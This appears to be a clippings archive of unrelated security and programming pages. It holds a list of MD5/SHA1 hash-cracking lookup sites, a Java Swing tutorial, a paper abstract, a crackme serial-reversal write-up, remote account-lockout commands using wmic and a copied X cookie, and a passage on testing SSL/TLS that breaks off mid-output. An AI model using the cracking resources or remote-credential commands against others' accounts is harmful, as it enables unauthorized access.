http://gdataonline.com/seekhash.php  
http://www.md5-brute.com/  
http://www.md5encryption.com/  
http://www.insidepro.com/hashes.php?lang=rus  
http://www.cirt.net/cgi-bin/passwd.pl  
http://passcracking.ru  
http://www.hashchecker.com/?\_sls=add\_hash  
http://www.tydal.nu/category/  
http://md5.dustinfineout.com/  
http://www.md5-db.com/  
http://www.md5hashes.com/  
http://sha1search.com/  
http://md5.xpzone.de/  
http://www.csthis.com/md5/  
http://md5.benramsey.com/  
http://www.md5this.com/crack-it-/index.php  
http://hackerscity.free.fr/  
http://ice.breaker.free.fr/  
http://md5search.deerme.org/  
http://www.md5decrypter.com/  
http://securitydb.org/cracker/  
http://plain-text.info/index/  
http://www.tmto.org/?category=main&page=home  
http://md5.geeks.li/  
http://hashreverse.com/  
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en  
http://md5crack.it-helpnet.de/index.php?op=add  
https://astalavista.net/index.php?  
http://md5search.uk.to/  
  
**md5:**  
http://74.52.200.226/~b4ck/passhash/index.php  
http://www.tmto.org/  
http://md5.rednoize.com  
http://nz.md5.crysm.net  
http://us.md5.crysm.net  
http://www.xmd5.org  
http://gdataonline.com  
http://www.hashchecker.com  
http://passcracking.ru  
http://www.milw0rm.com/md5  
http://plain-text.info  
http://www.securitystats.com/tools/hashcrack.php  
http://www.schwett.com/md5/ \- Does Norwegian words too  
http://passcrack.spb.ru/  
http://shm.pl/md5/  
http://www.und0it.com/  
http://www.neeao.com/md5/  
http://md5.benramsey.com/  
http://www.md5decrypt.com/  
http://md5.khrone.pl/  
http://www.csthis.com/md5/index.php  
http://www.md5decrypter.com/  
http://www.md5encryption.com/  
http://www.md5database.net/  
http://md5.xpzone.de/  
http://md5.geeks.li/  
http://www.hashreverse.com/  
http://www.cmd5.com/english.aspx  
http://www.md5.altervista.org/  
http://md5.overclock.ch/biz/index.php?p=md5crack&l=en  
http://alimamed.pp.ru/md5/ \(for those who can’t read russian: put your md5 in
the second box\)  
http://md5crack.it-helpnet.de/index.php?op=add  
http://cijfer.hua.fi/  
http://shm.hard-core.pl/md5/  
http://www.mmkey.com/md5/HOME.ASP  
http://www.thepanicroom.org/index.php?view=cracker  
http://rainbowtables.net/services/results.php  
http://rainbowcrack.com/  
http://www.securitydb.org/cracker/  
http://passwordsecuritycenter.com/in…roducts\_ id=7  
http://0ptix.co.nr/md5  
https://www.astalavista.net/?cmd=rainbowtables  
http://ice.breaker.free.fr/  
http://www.md5this.com  
http://www.pldsecurity.de/forum/md5.php  
http://www.xeons.net/genesis/  
http://hackerscity.free.fr/  
http://bisix.cogia.net/  
http://md5.allfact.info/  
http://bokehman.com/cracker/  
http://www.tydal.nu/article/md5-crack/  
http://ivdb.org/search/md5/  
http://md5.netsons.org/  
http://md5.c.la/  
http://www.jock-security.com/md5\_database/?page=crack  
http://c4p-sl0ck.dyndns.org/cracker.php  
http://www.blackfiresecurity.com/tools/md5lib.php  
http://www.md5-db.com/index.php  
  
**md4:**  
http://www.securitystats.com/tools/hashcrack.php  
http://rainbowtables.net/services/results.php  
http://rainbowcrack.com/  
  
**sha1:**  
http://passcrack.spb.ru/  
http://www.hashreverse.com/  
http://rainbowcrack.com/  
http://www.md5encryption.com/  
http://www.shalookup.com/  
http://md5.rednoize.com/  
http://c4p-sl0ck.dyndns.org/cracker.php  
http://www.tmto.org/  
  
  
**Misc** :  
http://linardy.com/md5.php  
http://www.gdataonline.com/seekhash.php  
https://www.w4ck1ng.com/cracker/  
http://search.cpan.org/~blwood/Digest-MD5-Reverse-1.3/  
http://www.hashchecker.com/index.php?\_sls=search\_hash  
http://www.rainbowcrack-online.com/  
http://schwett.com/md5/  
http://www.md5.org.cn/index\_en.htm  
http://www.xmd5.org/index\_en.htm  
http://nz.md5.crysm.net/  
http://us.md5.crysm.net/  
http://gdataonline.com/seekhash.php  
http://passcracking.ru/  
http://shm.pl/md5/  
http://www.neeao.com/md5/  
http://md5.benramsey.com/  
http://www.md5decrypt.com/  
http://md5.khrone.pl/  
http://www.csthis.com/md5/index.php  
http://www.md5decrypter.com/  
http://www.md5encryption.com/  
http://www.md5database.net/  
http://md5.xpzone.de/  
http://www.hashreverse.com/  
http://alimamed.pp.ru/md5/  
http://md5crack.it-helpnet.de/index.php?op=add  
http://shm.hard-core.pl/md5/  
http://rainbowcrack.com/  
http://passwordsecuritycenter.com/index.ph…p;products\_id=7  
https://www.astalavista.net/?cmd=rainbowtables  
http://ice.breaker.free.fr/  
http://www.md5this.com/  
http://hackerscity.free.fr/  
http://md5.allfact.info/  
http://bokehman.com/cracker/  
http://www.tydal.nu/article/md5-crack/  
http://passcracking.com/  
http://ivdb.org/search/md5/  
http://md5.netsons.org/  
http://md5.c.la/  
http://www.md5-db.com/index.php  
http://md5.idiobase.de/  
http://md5search.deerme.org/  
http://sha1search.com/  

# Java Tutorial 12 - Advanced Swing

**Created:**| _5/29/2010 11:23:00 AM_  
---|---  
**Updated:**| _5/29/2010 11:23:00 AM_  
**Author:**| _wishi_  
**Tags:**| _Java programming Swing_  
  

HTML Markup | JavaScript | Java | Computer Sci | Home & Links
# Tutorial 12 - Advanced Swing

This tutorial covers more advanced Java Swing topics such as inner class event
listeners using inner classes and the MVC architecture. Dropdown menus, popup
menus, toolbars, specialized containers, layered panes, split panes, tabbed
panes, tables and trees are also included.

  * Advanced Event Listeners
  * Model-View-Controller
  * Menu Bars & Tool Bars

|

  * Specialty Panes
  * Tables and Trees
  * Global HotKeys

  
---|---  
## Advanced Event Listeners

One difficulty with the basic event listening technique \(ie event sharing\)
previously demonstrated is that it becomes awkward to program for many buttons
and widgets. Extended if statements or switch constructs can make code hard to
maintain. There are better ways\!

_Inner \(ie nested\) class event handlers_ allow handler routines to be
written for specific objects. For example, instead of using the
_addActionListener\(this\)_ method for several buttons you can have each
button call its own inner class. Function code can still be mixed into GUI
code. See the list of other event listeners.

NOTE: The _implements_ clause is now placed in each inner class header and
_not_ in the main class header. Also the listener registration is of a
specific _Listener\_class_ object, not the generic _this_.

_Anonymous inner classes_ have no name \(hence no name conflict\) and are used
when only one instance of the class is required. They also do not have
constructors. Anonymous inner classes are most often found in _event
listeners_ with very simple actions. Beware\! Anonymous listeners intermix
action code with the GUI object. This is contrary to the separation of worker
code from GUI that is a part of clean design. Avoid this construction if
possible.

As event classes are interfaces, all methods within that event must be
implemented. _Adapter_ classes provide default do-nothing methods which you
can chose to override. Here is a short example using the WindowAdapter class
to avoid coding all seven window events.

## Model-View-Controller Architecture

The _Model-View-Controller \(MVC\)_ architecture factors function code from
the GUI design using a controller module. The controller module ties _event
listeners_ in the view module to their _actions_ in the model module. Good
programming practice implies private properties with public accessor methods
for those needing access from outside their container object. These three
object modules can be designed at different times by different programmers.
Refer to _Using The GUI_ in the Guidebook. Stuart Davidson of Heriot Watt
University has done an excellent job of explaining MVC with a working example.

The _model_ object contains the run-time actions for the application. It often
has methods for exit\(\), run\(\), about\(\) and help\(\) as these are common
to most utilities. The _view_ object constructor should accept a string that
incorporates the utility title. The view object also requires methods to build
the listeners. _buttonActionListeners\(\)_ includes _addActionListener\(\)_
and a _setActionCommand\(string\)_ which is used to pass a reference of the
pressed button. The _controller_ module uses _getActionCommand\(\)_ to call
the correct action method in the model. An example of MVC architecture using
the _SomeGUI_ example is:

## Menu Bars and ToolBars

_Dropdown/pullout menu bars_ are menus similar to those that appear across the
top of most Windows programs. The menu bars are constructed from the
_JMenuBar_ class. Menus \(aka bar items\) are constructed from the _JMenu_
class and menu items from the _JMenuItem_ class. Item separators can either be
added to a menu with _addSeparator\(\)_ or inserted with
_insertSeparator\(posn\)_. Menu items can be disabled or grayed out with the
_setEnabled\(false\)_ method and tested with the _isEnabled\(\)_ method. Menu
items can have a hotkey _shortcut_ added by using a _setMnemonic\(char\)_
method. _Accelerator_ keys are added with the _setAccelerator\(\)_ method. The
menubar is added to the main frame by using _this.setJMenuBar\(obj\)_. MyMenu
demonstrates many of the features of the menu classes including mnemonics,
accelerators keyed to platform, checkbox & radiobutton items and icons.

_Dockable toolbars_ can be constructed from the _JToolBar_ class.
_JToolBar\(SwingConstants.VERTICAL\)_ overrides the default orientation. The
_add\(\)_ method adds components which are often icons. Toolbars are always
fully exposed. MyToolBar demonstrates features of the toolbar class including
action classes.

_Popup menus_ are revealed by some user action and look similar to a dialog
box. MyPop demonstrates features of the popup menu classes including
specialized listeners.

## Specialty Panes

_Layered panes_ allow components such as buttons to be overlapped or layered.
A simple example is:

_Split panes_ allow you to place two components side by side in a single pane.
It can also split the pane horizontally. A simple example of a split pane is:

_Tabbed panes_ allow a multilayered pane with tabs for the user to access the
layer he wants. Each tab contains a single component. A simple example of a
tabbed pane is:

## Tables and Trees

_Tables_ represent data in a row/column two dimensional grid format. The
constructor is _JTable\(data,headers\)_ where _data_ is a two dimension string
and _headers_ is a one dimension string. SimpleTable is a demo. For a more
complete tutorial see Sun.com.

_Trees_ allow visualization, traversal and manipulation of hierarchical
information \(ie. parent-children\) much easier. Trees consist of _nodes_.
Common examples of trees are directories, organizational charts, and family
trees. In Java the _JTree\(var\)_ constructor is used to create trees. The
variable parameter can be one of Object, TreeNode, TreeModel, Vector, or
Hashtable class. ObjectTree is an example which uses a hashtable to hold the
actual tree.

## Global Hotkeys

Global hotkeys allow a program to be activated from any other program. Java
uses its events handler system to monitor the global hotkeys registry after a
key sequence has been entered in the registry. Check out JIntellitype
\(Wintel\) and JxGrabKey \(Linux\) or google _' global hotkeys in java'_.

## Tutorial Source Code

Obtain source for MyMenu, MyToolBar, MyPop, SimpleTable and ObjectTree here.

* * *
  * Tutorials - Table of Contents
  * Tutorial 1 - Objects,Applications&Applets
  * Tutorial 2 - Syntax and Grammar
  * Tutorial 3 - Control Flow
  * Tutorial 4 - Encapsulation & Classes
  * Tutorial 5 - Inheritance & Polymorphism
  * Tutorial 6 - Java Class Libraries
  * Tutorial 7 - String Manipulation
  * Tutorial 8 - Generics & Exceptions
  * Tutorial 9 - File IO

|

  * Tutorial 10 - GUI Swing Widgets
  * Tutorial 11 - Intermediate Swing
  * Tutorial 12 - Advanced Swing
  * Tutorial 13 - Designing Swing GUIs
  * Tutorial 14 - GUI Views and Studies
  * Tutorial 15 - Threads & Serialization
  * Tutorial 16 - Graphics and Imaging
  * Tutorial 17 - Java Networking
  * Tutorial 18 - Debugging
  * Appendices

  
---|---  
* * *
JR's HomePage | Comments \[jatutorc.htm:2009 09 13\]

# Precise Static Analysis of Binaries by Extracting Relational Information

**Created:**| _10/25/2013 8:50:05 AM_  
---|---  
**Updated:**| _10/25/2013 8:50:49 AM_  
**Author:**| _wishi_  
**Tags:**| _analysis static binary translation_  
  

A. Sepp, B. Mihaila and A. Simon. **Precise Static Analysis of Binaries by
Extracting Relational Information**. In M.Pinzger and D. Poshyvanyk, editors,
_Working Conference on Reverse Engineering_ , Limerick, Ireland, October 2011.
IEEE Computer Society.

  

While the reconstruction of the control-flow graph of a binary has received
wide attention, the challenge of categorizing code into defect-free and
possibly incorrect remains a challenge for current static analyses. We present
the intermediate language RREIL and a corresponding analysis framework that is
able to infer precise numeric information on variables without resorting to an
expensive analysis at the bit-level. Specifically, we propose a hierarchy of
three interfaces to abstract domains, namely for inferring memory layout, bit-
level information and numeric information. Our framework can be easily
enriched with new abstract domains at each level. We demonstrate the
extensibility of our framework by detailing a novel acceleration technique \(a
so-called widening\) as an abstract domain that helps to find precise
fixpoints of loops.

  

Download: PDF Reference: Bibtex  

  

  

<img src='img/sepp11precise.pdf' width='100%' height='9349' />

# Funny crackme « xorl %eax, %eax

**Created:**| _9/4/2009 2:50:04 PM_  
---|---  
**Updated:**| _9/4/2009 2:50:12 PM_  
**Author:**| __  
**Tags:**| _crackme_  
  

## Funny crackme

Well, it’s Saturday night and I still don’t have internet connection. However,
I found a few crackmes on a flash drive. Here I’ll write my solution to “
_Harry Potter Crackme by Shalamandra_” since I don’t have anything better to
do. Now that you’re reading this is probably Monday but anyway. This crackme
should not take you more than 10 minutes since it’s just a tiny application
with no special protection. The algorithm seems pretty simple… It goes like
this:

1\) Print some stuff on the console  
2\) Read a string  
3\) Do some rearrangements  
4\) Compare it with an existing one using _ strcmp\(\)_  
5\) If they contain the same string, print the congrats message else terminate

Of course you can just patch the final jump of step 5 which you can see here
\(_from IDA Pro_\):

[code]

    .text:00401723                 mov     [esp+88h+var_84], eax
    .text:00401727                 mov     [esp+88h+var_88], edx
    .text:0040172A                 call    strcmp
    .text:0040172F                 test    eax, eax
    .text:00401731                 jnz     short loc_401749
    
[/code]

And  _loc\_41749_ is the location of the function which prints out the error
message which you can see below:

<img src='img/Temp2_3330.png' width='497' height='370' alt='harry potter
crackme' />

But this is not allowed if you read the provided NFO file. The author
explicitely states:

[code]

    Rules:
    Find the correct serial.
    No patching allowed.
    
[/code]

Which I found it nice since this is a really easy one and allowing patching
will just made it a completely lame crackme. So, let’s have a look at the
known string passed on  _strcmp\(\)_. This can be found easily by setting two
breakpoints at the two arguments passed by the stack to the  _strcmp\(\)_
library routine at addresses 0×00401723 and 0×00401727 \(_I did this using
OllyDbg_\). The known string is this:

[code]

    EAX=0022FF50, (ASCII "I am Lord Voldemort")
    
[/code]

Which is stored in a character array on the stack. Now that we know this we
can start reversing this funny rearrangement algorithm. It’s extremely easy to
spot and reverse it since it’s composed by exactly 38 \(_19 x 2_\) MOV
instructions and the above string has length of 19 bytes not including the
NULL termination. Anyway, here is the substitution:

[code]

    .text:00401694                 movzx   eax, [ebp+var_3B]
    .text:00401698                 mov     [ebp+var_68], al
    .text:0040169B                 movzx   eax, [ebp+var_45]
    .text:0040169F                 mov     [ebp+var_67], al
    .text:004016A2                 movzx   eax, [ebp+var_43]
    .text:004016A6                 mov     [ebp+var_66], al
    .text:004016A9                 movzx   eax, [ebp+var_44]
    .text:004016AD                 mov     [ebp+var_65], al
    .text:004016B0                 movzx   eax, [ebp+var_36]
    .text:004016B4                 mov     [ebp+var_64], al
    .text:004016B7                 movzx   eax, [ebp+var_3F]
    .text:004016BB                 mov     [ebp+var_63], al
    .text:004016BE                 movzx   eax, [ebp+var_47]
    .text:004016C2                 mov     [ebp+var_62], al
    .text:004016C5                 movzx   eax, [ebp+var_42]
    .text:004016C9                 mov     [ebp+var_61], al
    .text:004016CC                 movzx   eax, [ebp+var_39]
    .text:004016D0                 mov     [ebp+var_60], al
    .text:004016D3                 movzx   eax, [ebp+var_3D]
    .text:004016D7                 mov     [ebp+var_5F], al
    .text:004016DA                 movzx   eax, [ebp+var_41]
    .text:004016DE                 mov     [ebp+var_5E], al
    .text:004016E1                 movzx   eax, [ebp+var_40]
    .text:004016E5                 mov     [ebp+var_5D], al
    .text:004016E8                 movzx   eax, [ebp+var_38]
    .text:004016EC                 mov     [ebp+var_5C], al
    .text:004016EF                 movzx   eax, [ebp+var_3A]
    .text:004016F3                 mov     [ebp+var_5B], al
    .text:004016F6                 movzx   eax, [ebp+var_37]
    .text:004016FA                 mov     [ebp+var_5A], al
    .text:004016FD                 movzx   eax, [ebp+var_46]
    .text:00401701                 mov     [ebp+var_59], al
    .text:00401704                 movzx   eax, [ebp+var_3E]
    .text:00401708                 mov     [ebp+var_58], al
    .text:0040170B                 movzx   eax, [ebp+var_3C]
    .text:0040170F                 mov     [ebp+var_57], al
    .text:00401712                 movzx   eax, [ebp+var_48]
    .text:00401716                 mov     [ebp+var_56], al
    .text:00401719                 mov     [ebp+var_55], 0
    
[/code]

It performs NULL termination on the last instruction. Anyway, I know that most
of you will find this boring and to be honest if I had internet connection
I’ll probably found it boring too but right now I had nothing better to do
than writing this. Anyway, the substitution goes like this:

[code]

    Original Position       New Position
    ---------------------------------------
            0                   18
            1                    6
            2                   15
            3                    1
            4                    3
            5                    2
            6                    7
            7                   10
            8                   11
            9                    5
           10                   16
           11                    9
           12                   17
           13                    0
           14                   13
           15                    8
           16                   12
           17                   14
           18                    4
    
[/code]

So, if you like that source code reconstruction ideas when doing crackmes I
believe the above source code should be looking something like this:  
  

[code]

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    
    int
    main(void)
    {
       char *usr_str, str[20] = {"I am Lord Voldemort"};
    
       printf("Print the cool ASCII art\nEnter the serial: \n");
       gets(usr_str); // Yeah... an overflow...
       char *tmp_buf = strdup(usr_str);
       // and a missing return value check...
    
       usr_str[0]  = tmp_buf[13];
       usr_str[1]  = tmp_buf[3];
       usr_str[2]  = tmp_buf[5];
       usr_str[3]  = tmp_buf[4];
       usr_str[4]  = tmp_buf[18];
       usr_str[5]  = tmp_buf[9];
       usr_str[6]  = tmp_buf[1];
       usr_str[7]  = tmp_buf[6];
       usr_str[8]  = tmp_buf[15];
       usr_str[9]  = tmp_buf[11];
       usr_str[10] = tmp_buf[7];
       usr_str[11] = tmp_buf[8];
       usr_str[12] = tmp_buf[16];
       usr_str[13] = tmp_buf[14];
       usr_str[14] = tmp_buf[17];
       usr_str[15] = tmp_buf[2];
       usr_str[16] = tmp_buf[10];
       usr_str[17] = tmp_buf[12];
       usr_str[18] = tmp_buf[0];
       usr_str[19] = 0;
    
    
       if (!strcmp(usr_str, str))
          printf("You're awesome!\n");
       else
          printf("Ultra fail!\n");
    
       free(tmp_buf);
       return 0;
    }
    
    
[/code]

This is a completely crappy C code but it’s an abstract demonstration of the
crackme \(_which was written in C++ by the way_\). Now, that you have
everything just find the serial. :P  
Here is a screenshot from the crackme:

<img src='img/Temp2_3331.png' width='497' height='385' alt='harry potter
crackme' />

Nice one to spend a couple of minutes. :\)

# Command Line Kung Fu: Episode \#35: Remotely Locking Out User While
Preserving Session

**Created:**| _5/16/2009 10:25:36 AM_  
---|---  
**Updated:**| _5/16/2009 10:25:50 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#35: Remotely Locking Out User While Preserving Session

Ed kicks it off:  
  
We received a request the other day from Mr. Fordm via the Pauldotcom IRC
channel. He was wondering if there was a way to lock out a user engaged in an
active session on a machine. This kind of thing comes up from time to time,
often during abrupt employee termination. Here's the scenario: User John Doe
gets canned. He's sitting at his computer logged on in his cubicle and the IT
or security staff is instructed to just get him off the machine immediately.
Any delay, and there is a chance he'd launch the missiles against friendly
targets or something.  
  
The security guy suggests just remotely shutting the system down. But, no...
management wants more. They want to preserve the currently logged on session
so they can see if John had started to launch the missiles by typing:  
  

[code]

    C:\> wmic missiles call launch target=...*
    
[/code]

  
So, how can we lock the user out while preserving the GUI session which might
hold some juicy info?  
  
First off, we want to change the user's password. Otherwise, he or she would
log right back in once we lock the session. Let's assume the user is logged in
via a local account, and change the password by using remote command execution
via WMIC. We covered remote command execution in Episode \#31, which we'll use
to invoke the "net user" command to change the password:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] [NewPassword]"
    
[/code]

  
You can go further, disabling the account so that no one can login with it
until you re-enable it, by running:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] /active:no"
    
[/code]

  
Remember, if you want to get back into this user's session later, you'll have
to re-enable that user by running:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "net user [user] /active:yes"
    
[/code]

  
Next, we've got to lock the session. On first blush, you might think to use
the following command, wrapped up inside of WMIC for remote execution:  
  

[code]

    C:\> rundll32.exe user32.dll,LockWorkStation
    
[/code]

  
  
When executed by a local user currently logged on to a Windows box, this will
lock the workstation. Nice... but... executed remotely, using WMIC as shown
above, won't do the trick on most versions of Windows. You see, this command
against a remote target won't be able to get access to the user's currently
logged on console GUI session, so nothing happens.  
  
You might think that we can get a little more intricate by running the logoff
command against the user, again wrapped up inside of WMIC:  
  

[code]

    C:\> logoff
    
[/code]

  
  
Nope... same problem. Works great locally, but remotely, it can't interact
with that console session. And, worse... if it did work, it would eliminate
the session with the juicy information we want to preserve when it logs off
the user.  
  
So, what to do? There's a great command for doing just this kind of thing:
tsdiscon.  
  
You can run it as follows:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "tsdiscon"
    
[/code]

Alternatively, the tsdiscon command has an option to run remotely:  
  

[code]

    C:\> tsdiscon console /server:[IPaddr] /v
    
[/code]

  
This works like a champ on XP, locking the user at the console out, while
preserving the session.  
  
Note that tsdiscon, when run remotely, will pass through your current user's
authentication credentials to the target IPaddr machine. Thus, make sure you
are logged in with a user and password combination that are also in the admin
group of the target machine, or that have domain admin privileges.  
  
Unfortunately, while this works great on XP, the tsdiscon command doesn't
allow you to disconnect the console session for Windows Vista or 2008 Server.
I've confirmed this in my lab, and have found references to that limitation in
Microsoft documentation. On Vista and 2008, you can use tsdiscon to disconnect
RDP/Terminal Services sessions other than the console session \(you can get a
list of sessions on Vista and 2008 by running "query session" or by running
"qwinsta" on XP\). Sadly, I haven't found a remote command-line method for
closing the console session on Vista or 2008 server while preserving that
session. The rwinsta command in XP and Vista resets a session on a Vista or XP
box, when used as follows:  
  

[code]

    C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call  
      create "rwinsta console"
    
[/code]

  
...but you'll lose all of the current session information and running programs
when rwinsta kills the session. Still, that'll let you lock out the user so he
can't launch the missiles... but at the cost of losing the cmd.exe session
history showing that he tried to launch them. For most purposes, that'll
suffice. And, I guess it provides yet another reason to stay on XP \(as if you
needed any more of them\).  
  
If you know of a way to remotely disconnect a console user session on Vista
using built-in command-line tools, please do send in a suggestion to
suggestions@commandlinekungfu.com, and I'll gladly add it to this article.  
  
\*Current versions of Windows do not expose the missiles alias within wmic. In
Windows 9 \(code name: "We miss Bill"\), though, it will be built-in, along
with the callable method "launch". Just wait.  
  
Hal reports from the bunker:  
  
As Ed points out, the first trick is to lock the user's account. I'm going to
assume that the system is using local password files, rather than a networked
authentication database such as LDAP or Kerberos. These latter systems have
their own command-line interfaces which allow you to lock user accounts, but
they're outside of the scope of this blog.  
  
So we need to SSH into the user's workstation and gain root privileges via su
or sudo. Note that this assumes you have an SSH server running for remote
maintenance tasks. A lot of Linux workstation builds don't automatically
configure an SSH server by default. You're "Seriously Out of Luck" in these
cases, and the best that you can do is try to seize the workstation before the
user has a chance to launch their missiles. If you have an intelligent switch
fabric, you might want to move the user's workstation onto an isolated VLAN
before seizing the workstation. That way, the user might have a chance to
trash their own system, but less opportunity to launch missiles at other
targets.  
  
Once you're into the system, use "passwd -l" to lock the user's account
\("passwd -u" will unlock the account again, btw\). Let's use Paul as our
example fall guy again:  
  

[code]

      
    # **passwd -l paul**
    
[/code]

  
"passwd -l" can have different effects, depending on what flavor of Unix
you're using. On Linux systems, the usual practice is to introduce a "\!"
character at the front of the user's password hash. This renders the hash
invalid so users can't log in, but it's easy to undo the change if you decide
you later want to let the user into the system. Some Linux systems go further
and set the "account disabled as of ..." field in the /etc/shadow file \(it's
the second-to-last field for each entry\) to a date in the past so that even
just resetting the password hash is insufficient to unlock the account.  
  
On older, proprietary Unix systems like Solaris, "passwd -l" usually changes
the user's password hash to an invalid string like "\*LK\*", which
unfortunately loses the user's original password hash. However, at least on
Solaris systems, the cron daemon will actually refuse to execute jobs for
users whose password entry is "\*LK\*". This means clever users can't set up
automated tasks to re-open access to their systems \(or launch missiles\).
When locking accounts on Linux systems, you should also make sure to disable
any cron jobs that user may have set up:  
  

[code]

    # **crontab -l -u paul > /root/paul.crontab**  
     # **crontab -r -u paul**
    
[/code]

  
Here we're making a backup copy of Paul's crontab under /root and then
removing all cron jobs. You could later restore Paul's crontab with "crontab
-u paul /root/paul.crontab".  
  
If you're worried about the user logging into the workstation remotely after
you've turned on the screen locker, then you also need to be careful that the
user has no "authorized\_keys" files, or even ".\[sr\]hosts" and hosts.equiv
files if you're allowing "HostBasedAuthentication":  
  

[code]

    # **mkdir /root/paul-trustfiles**  
     # **mv ~paul/.ssh/authorized_keys ~paul/.[rs]hosts /etc/*hosts.equiv /root/paul-trust**
    
[/code]

  
OK, that should be sufficient for keeping that naughty Paul out of the
machine. As far as turning on the screen locker, there are a lot of different
options on different Unix systems, but let's just stick with the popular \(and
widely available\) "xlock" program. Whatever program you choose to use, the
biggest trick to remotely enabling the screen locker is to first acquire the
necessary credentials to access the user's X display:  
  

[code]

    # **export DISPLAY=:0.0**  
     # **cp ~paul/.Xauthority /root**  
     # **su -c paul 'xlock -mode blank -info "This workstation administratively locked"'**
    
[/code]

  
On the first line, we set our "DISPLAY" environment variable to match the
user's display-- normally ":0.0", you can validate this with the "who" command
if you're not sure. On the second line, we grab the user's "magic cookie"
file, which allows us access to the X server on the specified "DISPLAY".
Finally, we turn on the xlock program with just a blank, black screen. Also,
the above example demonstrates that you can also specify an informational
message that the user sees when they try to unlock their workstation.  
  
Note that our example starts the xlock program as user "paul", which means the
password for the "paul" account-- rendered invalid with the "passwd -l"
command earlier-- will be required to unlock the screen. You could actually
dispense with the "su paul -c" and start the xlock program as root, thus
forcing somebody to enter the root password to unlock the screen. Of course,
if Paul happens to know the root password for his workstation, this is not a
good idea \(you certainly don't want to lock the root account on the
system\)\! However, another possibility would be to actually "su" to some
other user account when starting up the screen locker, just to make things
more difficult for Paul. But I think you're probably better off using Paul's
account, since we know that user has an invalid password. To unlock the screen
again, once Paul has been safely escorted out of the building, just kill the
xlock process.

# Manually Testing SSL/TLS Weaknesses

**Created:**| _6/26/2015 10:48:10 AM_  
---|---  
**Updated:**| _6/26/2015 10:48:10 AM_  
**Author:**| __  
**Tags:**| _admin ssl sectest_  
  

# Manually Testing SSL/TLS Weaknesses

#### By Jay Kalsi and Daniel Mossop, 01 June 2015

The Secure Sockets Layer \(SSL\) and Transport Layer Security \(TLS\)
protocols aim to provide client and server systems with a means of
establishing an encrypted communication channel. Though best known for putting
the "S" in HTTPS, their use is not limited to web-based systems; they are also
commonly used as a wrapper for other unencrypted services such as FTP.

While SSL has historically been the dominant protocol for securing the
Internet, a rash of attacks in recent years has prompted a migration to its
successor, TLS. This alone is not enough to guarantee a secure connection,
however. TLS has also been found to have weaknesses and careful configuration
is needed to avoid exposing communications to compromise from a network-based
attacker. SSL/TLS flaws are widespread; SSL Pulse estimates that over three-
quarters of the SSL/TLS deployments currently in use by the top one million
websites are inadequately configured.

This post presents a review of the main SSL/TLS \(mis\)configurations and
simple ways to test your system's susceptibility. The following configurations
and attacks are considered:

  * SSLv2 Support
  * SSLv3 Support
  * Cipher Suites
  * SSL Certificates
  * Renegotiation
  * Compression
  * Implementation Issues

## SSLv2 Support

SSLv2 was released twenty years ago and soon after discovered to have
significant weaknesses which could allow an attacker to decrypt and modify
communications. It was superseded a year later by SSLv3 which addressed these
issues, but despite its age and short lifespan SSLv2 support is still
surprisingly common.

To check whether SSLv2 is enabled on the remote host, the following command
can be used:

[code]

    openssl s_client –ssl2 -connect example.com:443
[/code]

If SSLv2 is supported, the handshake will complete and server certificate
information will be returned, as shown in the following response:

[code]

    openssl s_client -ssl2 -connect 10.0.0.1:443
    
    CONNECTED(00000003)
    depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver
    verify error:num=18:self signed certificate
    verify return:1
    depth=0 /C=AU/ST=/L=/O=Context/OU=context/CN=sslserver
    verify return:1
    ---
    Server certificate
    -----BEGIN CERTIFICATE-----
    MIICnjCCAgugAwIBAgIJAPB2liVH7xRsMA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNV
    BAYTAkFVMREwDwYDVQQIDAhWaWN0b3JpYTESMBAGA1UEBwwJTWVsYm91cm5lMRAw
    DgYDVQQKDAdDb250ZXh0MRAwDgYDVQQLDAdQbGF5cGVuMRIwEAYDVQQDDAlzc2xz
    ZXJ2ZXIwHhcNMTQwMTE3MDMwNjAxWhcNMTcxMDEzMDMwNjAxWjBsMQswCQYDVQQG
    EwJBVTERMA8GA1UECAwIVmljdG9yaWExEjAQBgNVBAcMCU1lbGJvdXJuZTEQMA4G
    A1UECgwHQ29udGV4dDEQMA4GA1UECwwHUGxheXBlbjESMBAGA1UEAwwJc3Nsc2Vy
    dmVyMIGbMA0GCSqGSIb3DQEBAQUAA4GJADCBhQJ+AJdlQF95PWaFnmN0hQd5BYUf
    SALBHBDO+JkNIPj5evYEAoPql3Am6Uphv3Pxyd+scDowb7UrReH8dBltxfz0Id4V
    3wpSJRdwo4Gx8xx27tLjDqbTaPKfSRWGpr0s2S2KJerr3XJvTDtWoiHN3zsx5kLU
    qvKTm+3LNHp7DgwNAgMBAAGjUDBOMB0GA1UdDgQWBBS5W+orwrw8K5LuFRykGg9w
    1DCanzAfBgNVHSMEGDAWgBS5W+orwrw8K5LuFRykGg9w1DCanzAMBgNVHRMEBTAD
    AQH/MA0GCSqGSIb3DQEBBQUAA34AegQVwKLQseAu7krFdsrfL117Sfpk7BuucJXJ
    nNbg9WRKFk5raikmp1nc5zLRZ4c6waDSX/rrT2g06IXSAJXmv5d2NYU+5YECJnY5
    ApexOlQJvsunKXZdJvBC6FijyLGi8G9zbA5S++JQkXWtiiICPGF2afYI5ahBgGO2
    hgE=
    -----END CERTIFICATE-----
    subject=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver
    issuer=/C=AU/ST=/L=/O=Context/OU=context/CN=sslserver  
    ---
    No client certificate CA names sent
    ---
    Ciphers common between both SSL endpoints:
    RC4-MD5         EXP-RC4-MD5     RC2-CBC-MD5    
    EXP-RC2-CBC-MD5 DES-CBC-MD5     DES-CBC3-MD5
    ---
    SSL handshake has read 807 bytes and written 233 bytes
    ---
    New, SSLv2, Cipher is DES-CBC3-MD5
    Server public key is 1000 bit
    Secure Renegotiation IS NOT supported
    Compression: NONE
    Expansion: NONE
    SSL-Session:
        Protocol  : SSLv2
        Cipher    : DES-CBC3-MD5
        Session-ID: 3BD641677102DBE9BDADF9B990D2D716
        Session-ID-ctx: 
